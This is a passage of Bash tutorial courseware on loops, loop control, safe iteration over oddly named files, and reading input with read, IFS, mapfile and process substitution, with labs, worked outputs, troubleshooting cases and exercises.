  • for x in list 's list is fully expanded up front; modifying the array or creating files inside the loop does not affect this traversal.
  • while/until The condition command is re-run before each iteration.
  • The loop runs in the current shell (variable changes are visible) —unless the loop is in a pipeline or wrapped in ( ) , which is the topic of Module 6's core animation.
  • A loop's exit status is that of the last command it ran; it is 0 when it iterates zero times (measured for x in; do :; done status is 0).
  • Redirection done > out.txt opens the file once before the loop starts; inside the loop body echo … >> out.txt means each iteration opens and closes it.

When: choosing

  • known set (files, arrays, parameters) → for in.
  • numeric range with a variable upper bound → for (( )) (seq is an external command; its behaviour differs slightly in Alpine's BusyBox).
  • read line by line → while IFS= read -r (Module 6).
  • wait for a condition (port open, file appears, API ready) → until + timeout + sleep.
  • recursively walk a directory tree → find … -print0 + while read -d '' (Module 6, Lesson 5), or shopt -s globstar; for f in **/*.log.

Compare with similar techniques

Bash for loopxargs / parallelfind -execawk
fork per item?only when calling external commandsbatch arguments, fewer{} + BatchNone
Parallelhand-written & + wait✓ -P✗✗
Best forcomplex logic, moderate item countsame operation on many filesfind files by condition, then processaggregate text data
Common misconceptions① “for f in $(ls *.txt) is clearer than for f in *.txt ”—the former adds a fork and fails on spaces, newlines and wildcards. ② “{1..$n} can be used”—it cannot. ③ “break only exits one level”—break 2 exits two levels. ④ “while true is slower than while : ”—both are builtins, the difference is negligible, so pick whichever reads better. ⑤ “a glob with no match means the loop does not run”——it runs once by default, and the variable holds the pattern itself.

Loop control: break, continue, break 2

for env in dev prod (outer) for h in a b c (inner) First half of the loop body continue → next h break → end inner loop, next env break 2 → both loops end After the loopecho "after break 2"
Figure 5-1 continue n/break n 's n means “applies to the n-th loop counting from the innermost outward”

Where to put the redirection

✗ Appending inside the loop body for f in *; do echo "$f" >> out.txtdone Each iteration: open() → write() → close()N files = N open/close calls ✓ Redirect the whole loop for f in *; do echo "$f"done > out.txt open once before the loop starts; fd 1 points to out.txtclose after the loop ends; the file holds one complete result
Figure 5-2 is the same for input: place while read the input < file after done .

Loop control step-through

Pick a snippet and step through it. The highlighted line is the next command Bash will run; the right side shows variables and output. As in real Bash,for 's list is fully expanded at the first step.

Code
Variables
Stdout
Click “Next” to start.

Loop syntax quick reference (actual output)

cd ~/bashlab/data
n=0; for f in $(ls files); do n=$((n+1)); done; echo "words=$n"      # ✗
n=0; for f in files/*; do n=$((n+1)); printf '%q\n' "$f"; done; echo "files=$n"   # ✓
for f in files/*.csv; do echo "got: $f"; done                           # no match
shopt -s nullglob; for f in files/*.csv; do echo "got: $f"; done; shopt -u nullglob
n=3; echo {1..3}; echo {1..$n}; for ((i=1; i<=n; i++)); do printf '%d ' "$i"; done; echo
echo {01..10..3}                                                        # zero-padding + step (4.0+)
words=22
files/--verbose.log
files/-n
files/\[draft\]\ notes.md
files/café-ünïcode.txt
files/it\'s.txt
$'files/line1\nline2.txt'
files/price\ \$5.txt
files/report\ 2026.txt
files/say\ \"hi\".txt
files/star\*.txt
files/sub\ dir
$'files/tab\there.txt'
files/trailing-space.txt\
files/two\ \ spaces.txt
files=14
got: files/*.csv
1 2 3
{1..3}
1 2 3
01 04 07 10

Of the 15 entries,* the glob does not match names starting with a dot .hidden.txt, so the glob yields 14 (including directory sub dir); $(ls files) then splits into 22 “words”. trailing-space.txt\ Trailing spaces,tab\there.txt and tabs in %q are shown as-is. To include hidden files, use shopt -s dotglob; for regular files only, add [[ -f $f ]] || continue.

for i in 1 2 3 4 5; do (( i == 2 )) && continue; (( i == 4 )) && break; echo "i=$i"; done
for env in dev prod; do
  for h in a b c; do
    [[ $env/$h == prod/b ]] && break 2
    echo "$env/$h"
  done
done; echo "after break 2"
for i in 1 2 3; do echo "line $i"; done > out.txt; wc -l < out.txt
for x in a; do false; done; echo "rc=$?"; for x in; do :; done; echo "empty for rc=$?"
i=1
i=3
dev/a
dev/b
dev/c
prod/a
after break 2
3
rc=1
empty for rc=0

Polling / retry loop template

# wait for a condition to become true, up to timeout seconds
wait_for() {                       # usage: wait_for timeout_seconds command [args…]
  local timeout=$1; shift
  local deadline=$(( SECONDS + timeout ))
  until "$@"; do
    (( SECONDS >= deadline )) && { echo "timeout: $*" >&2; return 1; }
    sleep 1
  done
}
wait_for 10 test -e /tmp/ready.flag && echo "ready"

SECONDS is a Bash built-in (seconds since shell start), far cheaper than calling date +%s repeatedly. Functions are covered in Lesson 3; passing a command as "$@" is an extension of array thinking. Lesson 4 adds exponential backoff and trap.

FormDescription
for f in "$dir"/*; do [[ -e $f ]] || continue; …Guard against “no match” when nullglob is off
shopt -s globstar; for f in **/*.logrecursive matching (4.0+); watch out for symlinks and performance
for arg; do …; doneequivalent to for arg in "$@"
while :; do …; doneinfinite loop, exits with break inside
for (( ;; ))same as above, C-style
done < file / done > file / done | cmdRedirect for the whole loop; the latter runs the loop in a subshell (Module 6)

Lab 5: safely iterate over oddly named files + a wait loop (about 7 minutes)

Create 3 oddly named files in the lab directory (the dataset's files/ files stay read-only and are reserved for later lessons; here we reproduce three of these problem types: leading dash, newline and space):
cd ~/bashlab/part2 && mkdir -p m5/in && cd m5
touch -- 'in/report 2026.txt' 'in/-rf.txt' $'in/line\nbreak.txt'
ls -1b in
-rf.txt
line\nbreak.txt
report\ 2026.txt

ls -b Shows invisible characters using C-style escapes. touch -- … The -- prevents -rf.txt from being parsed as an option (touch -rf.txt would be read as -r f.txt: uses f.txt as the time reference).

Wrong example (read-only, so nothing gets damaged):
for f in $(ls in); do [[ -e in/$f ]] && echo "OK  $f" || echo "BAD $f"; done
OK  -rf.txt
BAD line
BAD break.txt
BAD report
BAD 2026.txt
Correct approach: rename each file to a “safe name” (replace whitespace and newlines with underscores, strip leading dashes), dry-run first.
shopt -s nullglob
for f in in/*; do
  base=${f##*/}
  # space, tab, newline → _
  # needs extglob: strip one or more leading -
  [[ $safe == "$base" ]] && continue
  printf 'mv -- %q %q\n' "$f" "in/$safe"
done

The second substitution uses an extglob pattern +(-), so you must first shopt -s extglob (in an interactive Ubuntu shell it is usually already enabled by bash-completion; in scripts it must be enabled explicitly).

shopt -s extglob nullglob
for f in in/*; do
  base=${f##*/}; safe=${base//[[:space:]]/_}; safe=${safe##+(-)}
  [[ $safe == "$base" ]] && continue
  mv -- "$f" "in/$safe"
done
ls in
line_break.txt  report_2026.txt  rf.txt
Wait loop: in the background, create the flag file after 3 seconds; the foreground waits.
( sleep 3; touch ready.flag ) &
start=$SECONDS
until [[ -e ready.flag ]]; do
  (( SECONDS - start >= 10 )) && { echo "timeout"; break; }
  sleep 1
done
echo "waited $(( SECONDS - start )) seconds"; wait
waited 3 seconds
Cleanup: cd ~/bashlab/part2 && rm -rf -- m5.

Case 1: a log cleanup script deleted files it should not have

Problem:for f in $(find /var/log/app -name '*.log' -mtime +7); do rm $f; done. One day someone uploaded a file named access 2026.log, and the script ran rm access and rm 2026.log— coincidentally, the current directory held an important file named access . Fix:find … -mtime +7 -delete, or find … -print0 | xargs -0 rm -- (Lesson 5), or while IFS= read -r -d '' f; do rm -- "$f"; done < <(find … -print0) (Module 6). Limitations:-delete and -print0 are GNU/BSD find extensions (POSIX 2024 added -print0).

Case 2: a deploy script runs health checks before the service has started

Problem: Right after the restart, curl /healthz fails intermittently, causing a rollback. Fix: Use until with a timeout-based poll: until curl -fsS --max-time 2 "$url" >/dev/null; do (( SECONDS > deadline )) && exit 1; sleep 2; done; Lesson 6's opsctl health adds backoff and jitter. Limitation: A polling interval that is too short puts extra load on a service that just started.

Case 3: appending line by line inside a loop left the NFS report file incomplete

Problem: In the report loop echo … >> /mnt/nfs/report.txt, each iteration does an open/close, which is slow on NFS, and another process read a half-written file. Fix: redirect the whole loop to a temp file in the same directory done > "$tmp", then, when done, mv -- "$tmp" report.txt (a rename within the same filesystem is atomic; Lesson 6 covers this in detail).

Common errors and fixes

The loop body receives the literal "*.csv": No such file or directory

Cause: the glob has no match, so it is kept as-is by default. Fix:shopt -s nullglob, or at the start of the loop [[ -e $f ]] || continue. Note that nullglob also affects ls *.csv commands like this (with no match, they become ls, listing the entire directory).

syntax error near unexpected token `done'

Cause: missing do,; or saved with CRLF line endings in a Windows editor (do\r). Diagnosis:cat -A script.sh | grep '\^M' or file script.sh. Fix:sed -i 's/\r$//' script.sh or dos2unix; set the editor to LF.

for i in {1..$n} loops only once, and i's value is "{1..10}"

Cause: Brace expansion happens before parameter expansion, so the value of n is not yet visible. Fix:for (( i=1; i<=n; i++ )).

break: only meaningful in a `for', `while', or `until' loop

Cause: break is used outside a loop (or inside a function called from a subshell on the right side of a pipe). Fix: check the structure; in a function use return and check the return value inside the loop.

Infinite loop maxes out the CPU

Cause:while : has no sleep, or the exit condition never becomes true (for example, comparing strings "10" < "9"). Diagnosis:top shows the bash process at 100%; bash -x check the condition. Fix: add sleep, add a timeout cap, use (( )) for numeric comparison.

Command-line exercises
1. Iterate over $DATA/files , all entries (including dotfiles, but excluding . and ..), printing a safely quoted form of each name.
shopt -s nullglob dotglob
for f in "$DATA"/files/*; do printf '%q\n' "${f##*/}"; done
shopt -u nullglob dotglob

Enabled by default since Bash 5.2 globskipdots,.* does not match . and ...

2. For each prod host in servers.csv, ping at most 3 times; stop as soon as one succeeds and print “up”.
while IFS=, read -r name env region ip role; do
  [[ $env == prod ]] || continue
  status=down
  for (( i = 1; i <= 3; i++ )); do
    if ping -c1 -W1 "$ip" >/dev/null 2>&1 </dev/null; then status=up; break; fi
  done
  echo "$name $status"
done < "$DATA/servers.csv"

</dev/null Prevents commands in the loop body from “eating” the while loop's stdin; Module 6's troubleshooting section covers this in detail.

Scenario analysis
A batch loop must process 50 000 files, calling 3 external commands per file (basename, cut, date); it takes 10 minutes to run. How would you optimize it?

150,000 fork+exec calls are the main cost. ① Replace basename/cut with parameter expansion; ② for dates, use printf '%(%F)T' -1 (a builtin, 4.2+) or compute it once outside the loop; ③ if each file's real work is an external command, use find -print0 | xargs -0 -P 4 to run batches in parallel; ④ for text aggregation, hand it to awk in one pass. This usually cuts the time from minutes to seconds.

Verified teaching videos

▶
How To Write Bash Scripts In Linux - Complete Guide (Part 9 - For Loops) — Learn Linux TV
English · for loop
▶
How To Write Bash Scripts In Linux - Complete Guide (Part 7 - While Loops) — Learn Linux TV
English · while loop
▶
Proper `for` loops in Bash - `for` vs `while` loops - You Suck at Programming #038 — You Suck at Programming
English · why not to loop over $(…) with for

Official docs

Video storyboard script (about 70 seconds)

This courseware cannot generate video/MP3 directly; the storyboard and narration below can be handed to a video tool.

Shot 1 · 0–20s
Visual: ls output is chopped at spaces, and filenames containing newlines are split in two.
Narration: don't loop over ls output; loop over a glob.
Shot 2 · 20–45s
Visual: two boxes for nested loops; break exits the inner box, break 2 exits the outer box.
Narration: the number after break is how many loop levels to exit.
Shot 3 · 45–70s
Visual: the until loop checks a flag file every second; the file appears at the third second and the loop ends.
Narration: to wait for something, use until with a timeout; never wait forever.
or score ≥ 70% on the quiz

Module 6 · Reading input safely: read -r, IFS and mapfile

35:00 – 42:00 · There is only one correct way to read a line: while IFS= read -r line || [[ -n $line ]]; do …; done < file— this module explains each symbol in that line and why cmd | while read can lose variables
7 minread / mapfile (4.0+) / lastpipe (4.2+)Core animation (part 2)★★★★★
Learning objectives
  • Explain what each of IFS= (keeps leading and trailing whitespace),-r (backslash is not an escape),|| [[ -n $line ]] (handles a last line without a newline) fixes.
  • Use IFS=, read -r a b c to split fields, knowing that “the last variable gets all remaining content”; use read -r -a arr to read into an array; use read -r -d '' together with find -print0 to handle arbitrary filenames.
  • Use mapfile -t (= readarray), read a file or command's output into an array and learn -t,-s,-n,-d (4.4+).
  • Explain clearly cmd | while read …; done — why variables are “lost” afterward: each element of a pipeline runs in its own subshell (a child process); fix with while … done < <(cmd) (process substitution) or shopt -s lastpipe (only when job control is off, i.e. in scripts); use $BASHPID to prove it.
  • Avoid commands in the loop body (ssh, ffmpeg, tools that read stdin) swallowing the loop's input: </dev/null or use a separate fd (read -u 3 / <&3).
Prerequisites: Module 3 (arrays), Module 5 (loops), and Lesson 1's redirection and pipes. Priority:★★★★★

What: what read does

read is a builtin: reads from stdin (or -u fd) reads one line (up to a newline, or -d the given delimiter), then:

  1. Without -r: backslash is an escape character,\ + newline means continuation,\n becomes n (measured C:\new\dir → C:newdir).
  2. Split into fields by IFS: whitespace characters in IFS (space, tab, newline) are trimmed from the start and end of the line, consecutive whitespace counts as one separator, and non-whitespace separators (such as ,) each count as a separator (1,,3 → 3 fields, with an empty middle one).
  3. assigned to variables in order; the last variable gets all remaining content (including separators within it); with no variable name, the whole line is stored in REPLY (leading and trailing whitespace is not trimmed here).
  4. read returns 0 when it reads a delimiter; returns non-zero on EOF —even if it has already read part of the content and assigned it to variables.
PartWhat happens without it (measured)
IFS= (a temporary assignment that applies only to this read)" indented⇥line " is read as "indented⇥line" (leading and trailing whitespace lost)
-rC:\new\dir is read as C:newdir
|| [[ -n $line ]]When the last line has no trailing newline, read returns 1 and the loop ends early: a 3-line file is processed as only 2 lines (wc -l also reports 2).
done < file (not cat file |)The loop runs in a subshell, so variables are lost after the loop

Why: why pipelines “lose” variables (core)

Bash manual (Pipelines section): “Each command in a multi-command pipeline, where pipes are created, is executed in its own subshell, which is a separate process. If the lastpipe option is enabled using the shopt builtin, and job control is not active, the last element of a pipeline may be run by the shell process.”

In other words,printf … | while read …; done in while , the loop runs in a forked child process. The child gets a copy of the parent's memory (copy-on-write), and changes it makes to count only happen in its own address space. When the loop ends and the child exits, that memory disappears; in the parent, count has never been modified. $$ still shows the parent shell's PID inside a subshell (measured: same value); to see the real process number you need $BASHPID:

main BASHPID=26 $$=26
  in loop: BASHPID=28 $$=26 count=1      ← cmd | while: loop runs in PID 28 (child process)
  in loop: BASHPID=28 $$=26 count=2
  in loop: BASHPID=28 $$=26 count=3
pipe: count=0                            ← count in the parent is unchanged
  in loop: BASHPID=26 count=1            ← while … done < <(cmd): loop runs in PID 26 (current shell)
  …
procsub: count=3
  in loop: BASHPID=26                    ← cmd | while after shopt -s lastpipe
lastpipe: count=3

How: three fixes

FormWhere the loop runsUse caseNotes
while …; done < fileCurrent shellData from a fileSimplest, POSIX
while …; done < <(cmd)Current shell; cmd runs in a child process, connected via /dev/fd/N (or a named pipe)Data from a commandBash/ksh/zsh; cmd's exit status cannot be read directly (use wait $!: since Bash 4.4, $! points to the most recent process substitution, and you can wait for it).
shopt -s lastpipe + cmd | while …Current shell (last element of the pipe)Keep the pipe syntaxBash 4.2+; no effect when job control is on— interactive terminals enable job control by default, so trying it directly shows no effect; it only works in scripts (interactively, you can first set +m)
mapfile -t arr < <(cmd)Current shellRead into an array first, then processthe whole dataset goes into memory
cmd | { while …; done; echo "$count"; }subshell, but use the result within the same subshellonly need to use the result within the pipePOSIX; the result still cannot be carried back to the parent shell

When: choosing a read method

  • line-by-line processing of files that may be large → while IFS= read -r line || [[ -n $line ]]; do …; done < file.
  • need random access, line count is modest (up to tens of thousands) → mapfile -t lines < file.
  • list of filenames → find … -print0 + read -r -d '' or mapfile -d '' -t (4.4+).
  • user interaction → read -r -p "prompt: " ans, password read -rs, timeout read -t 5 (on timeout the status is > 128; measured 142).
  • CSV (with quotes), JSON, YAML → use dedicated tools (Lessons 5 and 6).
Common misconceptions① “while read line is enough”—it loses leading and trailing whitespace, backslashes and the last line. ② “cat file | while read and while read … < file are the same”—the former runs in a subshell. ③ “$$ can tell subshells apart”—it cannot; use $BASHPID. ④ “lastpipe has no effect in a terminal, so it is broken”—it is disabled by job control. ⑤ “for line in $(cat file) is line-by-line reading”—that is word-by-word. ⑥ “IFS=, can parse CSV”—it does not understand quotes.

Process view: pipe vs process substitution

A. printf … | while read l; do ((count++)); done; echo $count → 0 Parent shell (PID 26)count=0waitpid() waits for both child processesthen echo $count → 0 Child process 27printf (fd1 → pipe write end) Subshell 28 (forked copy)fd0 ← pipe read endcount=0→1→2→3 (copy)exit → the copy disappears with the process pipe fork() B. while read l; do ((count++)); done < <(printf …); echo $count → 3 Current shell (PID 26) runs the while loopfd0 ← /dev/fd/63 (pipe read end)count=0→1→2→3 (the parent shell's own variable)echo $count → 3 Child process 27: printffd1 → pipe write endcreated by <( … ), path /dev/fd/63 pipe
Figure 6-1: the only difference is “what gets forked”: a pipe forks the loop itself; process substitution forks the data producer, and the loop stays in the current shell

How a single read call works

Read byte by byteuntil \n (or the -d character)or EOF (returns 1) Backslash handlingwithout -r: \x → xwith -r: kept as-is Split by IFSIFS whitespace: trim ends, mergeIFS= : no split, no trimming Assignv1 v2 … the last one takes the rest-a arr: one element per field Exit status0: delimiter read1: EOF · >128: timeout no \n on last line: variables are assigned but it returns 1 → the while body does not run → need || [[ -n $line ]]
Figure 6-2: read reads a pipe byte by byte (it cannot read ahead, or it would “eat” the next command's input); for regular files it can read a block first and then seek back the file offset

Core animation (part 2): cmd | while read Why variables get lost

Choose a form, then step through it. The animation shows the system call order Bash actually uses: pipe() create pipe → fork() (on Linux it is actually clone()) create child process → dup2() connect the pipe ends to fd 0/1 → the read() → child process exit() → parent process wait4(). Box colours: blue = current shell, yellow = running, green = variable change takes effect in current shell, red = change is lost with the child process. PIDs in the log are example values.

Current shell (PID 4242) count=0Parse the command linefd0=tty fd1=tty Producer printf (not yet created)— while read loop (not yet running)—— Pipe / file— fork / exec ?
Choose a form, then click “Next”.
Key points Compare ① and ②: both have a pipe and a child process; the only difference is which process gets forked. ③ and ④ have identical code; the only difference is whether job control is on — this is why “I tried lastpipe in the terminal and it didn't work”. ⑤ has no child process at all, so it is the simplest and fastest.

Input reading quick reference

FormPurpose
while IFS= read -r line || [[ -n $line ]]; do …; done < fStandard line-by-line read
IFS=, read -r a b csplit on commas into 3 variables (c gets the rest)
IFS=, read -r -a arrsplit into an array
read -r -d '' fNUL as delimiter (with -print0)
read -r -p "Confirm? [y/N] " ansprompt and read (the prompt is written to stderr)
read -rs -p "Password: " pwno echo
read -r -t 5 ans5-second timeout; exit status > 128 on timeout
read -r -n 1 keyread one character only
read -r -u 3 line / read -r line <&3read from fd 3
mapfile -t arr < fone element per line,-t strip the newline
mapfile -t -s 1 -n 100 arr < fskip 1 line (header), read at most 100 lines
mapfile -d '' -t arr < <(find … -print0)NUL-delimited (4.4+)
mapfile -t -C cb -c 1000 arrcall a callback every 1000 lines (progress display)
cd ~/bashlab/part2 && mkdir -p m6 && cd m6
printf 'x\ny\nz' > nolf.txt                                    # last line has no newline
n=0; while read -r l; do n=$((n+1)); done < nolf.txt; echo "plain: $n lines"
n=0; while IFS= read -r l || [[ -n $l ]]; do n=$((n+1)); done < nolf.txt; echo "fixed: $n lines"
mapfile -t arr < nolf.txt; echo "mapfile: ${#arr[@]}"; wc -l < nolf.txt
printf '  indented\tline  \n' > ws.txt
read -r l < ws.txt; printf '[%s]\n' "$l"
IFS= read -r l < ws.txt; printf '[%s]\n' "$l"
printf '%s\n' 'C:\new\dir' > bs.txt
read l < bs.txt; echo "no -r: [$l]"; read -r l < bs.txt; echo "-r: [$l]"
IFS=: read -r user _ uid gid _ home shell <<< 'labadmin:x:1000:1000:Lab Admin:/home/labadmin:/bin/bash'
echo "$user $uid $home $shell"
IFS=, read -r a b <<< "1,2,3,4"; echo "a=$a b=$b"
IFS=, read -r -a parts <<< "1,,3"; declare -p parts
mapfile -t -s 1 -n 2 rows < "$DATA/servers.csv"; declare -p rows
plain: 2 lines
fixed: 3 lines
mapfile: 3
2
[indented	line]
[  indented	line  ]
no -r: [C:newdir]
-r: [C:\new\dir]
labadmin 1000 /home/labadmin /bin/bash
a=1 b=2,3,4
declare -a parts=([0]="1" [1]="" [2]="3")
declare -a rows=([0]="web-01,dev,canadacentral,10.10.1.21,web" [1]="api-01,dev,canadacentral,10.10.1.22,api")

wc -l counts newline characters, so files whose “last line has no newline” are also undercounted by one; POSIX defines a “line” as ending in a newline. mapfile is unaffected.

NUL-delimited: any filename is safe

mkdir -p rd; touch -- 'rd/a b' $'rd/c\nd' 'rd/-e'
while IFS= read -r -d '' f; do printf '%q\n' "$f"; done < <(find rd -type f -print0 | sort -z)
mapfile -d '' -t fl < <(find rd -type f -print0); echo "mapfile -d '': ${#fl[@]}"
rd/-e
rd/a\ b
$'rd/c\nd'
mapfile -d '': 3

Prove the subshell: $BASHPID

echo "main BASHPID=$BASHPID \$\$=$$"
count=0
printf 'a\nb\nc\n' | while read -r l; do (( ++count )); echo "  loop BASHPID=$BASHPID count=$count"; done
echo "pipe: count=$count"
count=0
while read -r l; do (( ++count )); done < <(printf 'a\nb\nc\n'); echo "procsub: count=$count"
bash -c 'shopt -s lastpipe; count=0; printf "a\nb\nc\n" | while read -r l; do (( ++count )); done; echo "lastpipe: count=$count"'
main BASHPID=26 $$=26
  loop BASHPID=28 count=1
  loop BASHPID=28 count=2
  loop BASHPID=28 count=3
pipe: count=0
procsub: count=3
lastpipe: count=3

Running the last line with bash -c : a non-interactive shell has no job control, so lastpipe takes effect. If you run it directly in an interactive terminal, shopt -s lastpipe try again and the result is still 0 (the manual says lastpipe has no effect when job control is on); first run set +m to turn off job control to observe the effect.

Lab 6: summarize servers.csv line by line and fix three read bugs (about 7 minutes)

Create a “problematic” input file: Windows line endings, no newline on the last line, leading spaces, backslashes.
cd ~/bashlab/part2 && mkdir -p m6 && cd m6
{ printf 'name,env,region,ip,role\r\n'
  printf 'web-01,prod,canadacentral,10.10.1.11,web\r\n'
  printf '%s\r\n' '  api-01,staging,canadacentral,10.10.2.21,api\v2'   # %s does not interpret backslashes
  printf 'db-01,prod,canadacentral,10.10.3.31,db'; } > messy.csv
cat -A messy.csv
name,env,region,ip,role^M$
web-01,prod,canadacentral,10.10.1.11,web^M$
  api-01,staging,canadacentral,10.10.2.21,api\v2^M$
db-01,prod,canadacentral,10.10.3.31,db
The “naive” version:
declare -A by_env=(); total=0
cat messy.csv | while IFS=, read name env region ip role; do
  [[ $name == name ]] && continue
  (( ++total )); (( ++by_env[$env] ))
done
echo "total=$total"; declare -p by_env
total=0
declare -A by_env=()

Three bugs stack up: ① the pipe → subshell, so all results are lost; ② no -r,api\v2 becomes apiv2; ③ the last line db-01 has no newline and is skipped. Also \r stays in the last field (role) of each line.

The fixed version:
declare -A by_env=(); total=0
while IFS=, read -r name env region ip role || [[ -n $name ]]; do
  role=${role%$'\r'}                        # strip the Windows carriage return
  name=${name#"${name%%[![:space:]]*}"}     # strip leading whitespace (the trim from Module 1)
  [[ $name == name ]] && continue
  (( ++total )); (( ++by_env[$env] ))
  printf '%-8s %-8s %s\n' "$name" "$env" "${role@Q}"
done < messy.csv
echo "total=$total"; declare -p by_env
web-01   prod     'web'
api-01   staging  'api\v2'
db-01    prod     'db'
total=3
declare -A by_env=([prod]="2" [staging]="1" )

Note: || [[ -n $name ]] checks the first variable; when reading into several variables, the last line's content has already been assigned to them.

stdin gets swallowed: commands in the loop body also read from the same stdin.
printf 'h1\nh2\nh3\n' > hosts.txt
while read -r h; do echo "host=$h"; cat > /dev/null; done < hosts.txt          # cat eats the remaining lines
echo ---
while read -r h; do echo "host=$h"; cat > /dev/null < /dev/null; done < hosts.txt
echo ---
while read -r h <&3; do echo "host=$h"; cat > /dev/null; done 3< hosts.txt < /dev/null
host=h1
---
host=h1
host=h2
host=h3
---
host=h1
host=h2
host=h3

In the real world, the commands that “eat stdin” are ssh (use ssh -n or </dev/null),ffmpeg (-nostdin),docker exec -i,mysql etc. Using fd 3 is the most thorough approach: the loop's data and the loop body's stdin are fully separate.

Cleanup: cd ~/bashlab/part2 && rm -rf -- m6.

Case 1: a batch SSH run only executed on the first host

Problem:while read -r host; do ssh "$host" 'uptime'; done < hosts.txt Only the first host was processed. ssh read the loop's remaining stdin (the other hostnames) and forwarded it to the remote command. Fix:ssh -n or ssh … </dev/null, or read the host list from fd 3. Limitation: For concurrency, switch to xargs -P, GNU parallel or Ansible.

Case 2: a counting script's total is always 0

Problem:grep ERROR app.log | while read -r l; do ((errors++)); done; echo "$errors" The output is empty or 0, and the alert never fires. Fix:while …; done < <(grep ERROR app.log); or simply errors=$(grep -c ERROR app.log). Limitation: A failure in a process substitution's command is not reflected in the loop's exit status; when needed, use wait $! to check (Bash 4.4+), or write to a temp file first.

Case 3: the last item in a config file never takes effect

Problem: A user edited allowlist.txt in Windows Notepad, the last line has no newline, and every line ends with \r. The last IP is skipped, and the other IPs fail the comparison because of \r so none match. Fix:while IFS= read -r ip || [[ -n $ip ]]; do ip=${ip%$'\r'}; …; in CI, use .editorconfig or git config core.autocrlf to normalize line endings.

Common errors and fixes

Variables revert after the loop / array is empty (cmd | while read)

Cause: The pipe puts the loop in a subshell. Diagnosis: Print inside and outside the loop: $BASHPID. Fix:done < <(cmd),done < file, or in scripts shopt -s lastpipe. ShellCheck flags SC2030/SC2031 (variable modified in a subshell).

the last line of the file is not processed

Cause: the last line lacks a newline, so read returns 1. Diagnosis:tail -c 1 file | od -c check whether the last byte is \n. Fix:|| [[ -n $line ]], or use mapfile.

The value read never matches in comparisons, yet printing it looks “exactly the same”

Cause: The line ends with \r (CRLF file) or invisible whitespace. Diagnosis:printf '%q\n' "$v" Show $'prod\r'. Fix:v=${v%$'\r'} or preprocess tr -d '\r'.

The while loop exits after one iteration (the loop body has ssh / docker / commands that read stdin)

Cause: a command in the loop body consumed the remaining input. Fix: Give that command </dev/null, or use fd 3 for the loop: while read -r -u 3 x; do …; done 3< file.

mapfile: command not found / readarray: command not found

Cause: Bash 3.2 (macOS) or sh. Fix: Use Bash ≥ 4; for compatibility, use arr=(); while IFS= read -r l; do arr+=("$l"); done < f.

/dev/fd/63: No such file or directory (process substitution)

Cause: in an environment without /dev/fd support (some minimal containers do not mount /proc), in POSIX mode (sh ), running set -o posix (process substitution is disabled before 5.1), or passing <(…) to a program that opens the path later in another process (such as sudo or a background job). Fix: run with bash; mount /proc; use a temp file or a named pipe instead.

Command-line exercises
1. Read the output of find "$DATA/files" -type f -print0 safely into an array files, and print the count (give one Bash 4.4+ version and one compatible version).
mapfile -d '' -t files < <(find "$DATA/files" -type f -print0)     # 4.4+
files=(); while IFS= read -r -d '' f; do files+=("$f"); done < <(find "$DATA/files" -type f -print0)
echo "${#files[@]}"
2. Count the requests per client IP in access.log; the associative array must still be usable after the loop ends.
declare -A by_ip=()
while read -r ip _; do (( ++by_ip[$ip] )); done < "$DATA/access.log"
for ip in "${!by_ip[@]}"; do echo "${by_ip[$ip]} $ip"; done | sort -rn
Scenario analysis
A colleague said: “I tried it in the terminal,shopt -s lastpipe and it doesn't work at all,echo hi | read x; echo $x it's still empty.” Explain why, and say whether a script can rely on lastpipe.

Interactive shells enable job control by default (set -m), the manual says lastpipe has no effect when job control is on, so nothing shows up in the terminal; first run set +m then just try again. A script (non-interactive) has no job control by default, so lastpipe takes effect, and Bash ≥ 4.2 can rely on it. However, it only affects the pipeline's last element, and it makes the script implicitly depend on a shell option; the clearer, more portable approach is still done < <(cmd).

Verified teaching videos

▶
Read Input Line by Line in Bash — You Suck at Programming
English · the correct way to read line by line
▶
Using read in bash to quickly parse files line-by-line — You Suck at Programming
English · read splitting fields
▶
Bash `read` command instead of `cut` and `tr` - You Suck at Programming #005 — You Suck at Programming
English · using read + IFS instead of external commands
▶
Understanding The `mapfile` builtin in Bash - You Suck at Programming #040 — You Suck at Programming
English · mapfile / readarray

Official docs

No verified long-form video on “subshell variable loss in pipelines” was found (search results were mostly short videos of unknown origin), so a storyboard script is provided below.

Video storyboard script (about 100 seconds)

This courseware cannot generate video/MP3 directly; the storyboard and narration below can be handed to a video tool.

Shot 1 · 0–20s
Visual: the terminal runs printf … | while read, printing count 1, 2 and 3 inside the loop and 0 outside; a question mark appears on screen.
Narration: the loop clearly counted to three, yet the result is zero.
Shot 2 · 20–50s
Visual: the parent shell box splits into two child process boxes connected by a pipe; the count in the right-hand child is a semi-transparent copy.
Narration: every command in a pipeline runs in its own child process, including this while loop.
Shot 3 · 50–75s
Visual: the child process exits and its copy shatters; the parent's count is still 0. Switch to process substitution: the forked process becomes printf, the loop stays in the parent, and count becomes 3.
Narration: process substitution makes the forked process the data producer, and the loop stays in the current shell.
Shot 4 · 75–100s
Visual: the lastpipe switch is turned on and the last pipeline segment is pulled back into the parent process; when the “job control” light on the terminal icon is lit, the switch has no effect.
Narration: lastpipe also solves the problem, but it only takes effect in scripts without job control.
or score ≥ 70% on the quiz

Module 7 · Here documents, here strings and process substitution

42:00 – 50:00 · Three ways to feed data into a command: a here-doc turns a block of text into stdin, a here-string turns a string into stdin, and process substitution turns a command's output into a "filename"
8 minhere-doc POSIX · <<< / <( ) Bash★★★★☆
Learning objectives
  • Write three kinds of here document: <<EOF (the body undergoes parameter expansion, command substitution and arithmetic expansion),<<'EOF' (any quoting in the delimiter → the body is not expanded at all),<<-EOF (strips the leading tabs from the body and the end line, not spaces).
  • Use a here string cmd <<< "$var" instead of echo "$var" | cmd (no pipe subshell is created, and a trailing newline is added automatically).
  • Use process substitution <(cmd) to pass a command's output as a file to programs that need a filename (diff,comm,paste), use >(cmd) to split output (tee >(…)); on Linux it appears as a path like /dev/fd/63 , which is backed by a pipe.
  • Implementation detail: since Bash 5.1, an expanded here-doc or here-string smaller than the pipe buffer goes through a pipe, otherwise through a temp file. Bash 5.3 adds ${ cmd; } (runs in the current shell and captures output without forking) and ${| cmd; } (captures REPLY).
Prerequisites: redirection and file descriptors from Lesson 1, and process substitution from Module 6. Importance:★★★★☆

What: three constructs

ConstructSyntaxThe command seesstandard
Here documentcmd <<DELIM … DELIMinput (stdin, fd 0): multi-line textPOSIX
Here stringcmd <<< wordthe expanded word result on stdin, plus one newlineBash/ksh/zsh
Process substitution (input)cmd <(list)a filename argument, for example /dev/fd/63, reading it yields the output of listBash/ksh/zsh (needs /dev/fd or named pipes)
Process substitution (output)cmd >(list)a filename argument; data written to it becomes the stdin of listSame as above

